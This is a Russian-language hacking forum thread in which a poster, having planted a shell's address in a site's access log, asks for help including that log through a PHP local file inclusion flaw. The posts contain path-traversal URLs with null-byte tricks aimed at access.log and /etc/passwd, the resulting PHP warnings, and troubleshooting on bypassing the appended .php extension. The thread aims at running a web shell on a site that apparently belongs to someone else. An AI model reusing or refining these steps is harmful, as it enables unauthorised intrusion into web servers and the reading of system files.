зы не удаляете модеры плиз. сделал запрос к сайту с адресом шелла. адресс шела остался в логах. теперь надо как то инклюдить логи. нужно найти лог как то. я ввел: http://www.site.ru/index.php?id=../../../../../www.site.ru/logs/access.log%00 вот что пишет: Warning: main(texts/../../../../../www.site.ru/logs/access.log .php) [function.main]: failed to open stream: No such file or directory in /home/httpd/virtual/www.site.ru/index.php on line 6 Warning: main(texts/../../../../../www.site.ru/logs/access.log .php) [function.main]: failed to open stream: No such file or directory in /home/httpd/virtual/www.site.ru/index.php on line 6 Warning: main() [function.include]: Failed opening 'texts/../../../../../www.site.ru/logs/access.log .php' for inclusion (include_path='.:/usr/local/share/pear') in /home/httpd/virtual/www.site.ru/index.php on line 6 подскажите кто нибудь?
и че ты делаешь, ты подымаешься в корень / и пытаешься открыть там /www.site.ru/logs/access.log, попробуй для начала хотя бы прочитать ../../../../../etc/passwd%00
AkyHa_MaTaTa: Warning: main(texts/../../../../../etc/passwd .php) [function.main]: failed to open stream: No such file or directory in /home/httpd/virtual/www.site.ru/index.php on line 6 Warning: main(texts/../../../../../etc/passwd .php) [function.main]: failed to open stream: No such file or directory in /home/httpd/virtual/www.site.ru/index.php on line 6 Warning: main() [function.include]: Failed opening 'texts/../../../../../etc/passwd .php' for inclusion (include_path='.:/usr/local/share/pear') in /home/httpd/virtual/www.site.ru/index.php on line 6
и похоже %00 не работает, есть какой-то аналог? пищу http://www.site.ru/index.php?id=../script.php%00 - скрипт не инклюдиться пищу http://www.site.ru/index.php?id=../script - скрипт инклюдиться
xcedz, бл* я знаю как переводиться. но это ту не причем! вот пример! который показывает что %00 не работает! index.php добавляет ".PHP" к запросу! пищу http://www.site.ru/index.php?id=../script - скрипт инклюдиться ///ЗДЕСЬ он дабавляет и все работает пищу http://www.site.ru/index.php?id=../script.php%00 - скрипт не инклюдиться /// ЗДЕСЬ %00 должен обрубить правую часть но он не обрубает!! и кто тугой бля*?? причем тут перевод???
AkyHa_MaTaTa ты написал null байт вот без нул байта: Warning: main(texts/../../../../../etc/passwd.php) [function.main]: failed to open stream: No such file or directory in /home/httpd/virtual/www.site.ru/index.php on line 6 Warning: main(texts/../../../../../etc/passwd.php) [function.main]: failed to open stream: No such file or directory in /home/httpd/virtual/www.site.ru/index.php on line 6 Warning: main() [function.include]: Failed opening 'texts/../../../../../etc/passwd.php' for inclusion (include_path='.:/usr/local/share/pear') in /home/httpd/virtual/www.site.ru/index.php on line 6
я наверно не правильно написал, null байт не канает(судя по ошибке),а это озаначает что все равно будет добавляться .php расширения, так что инклюдить выйдет тока php файлы.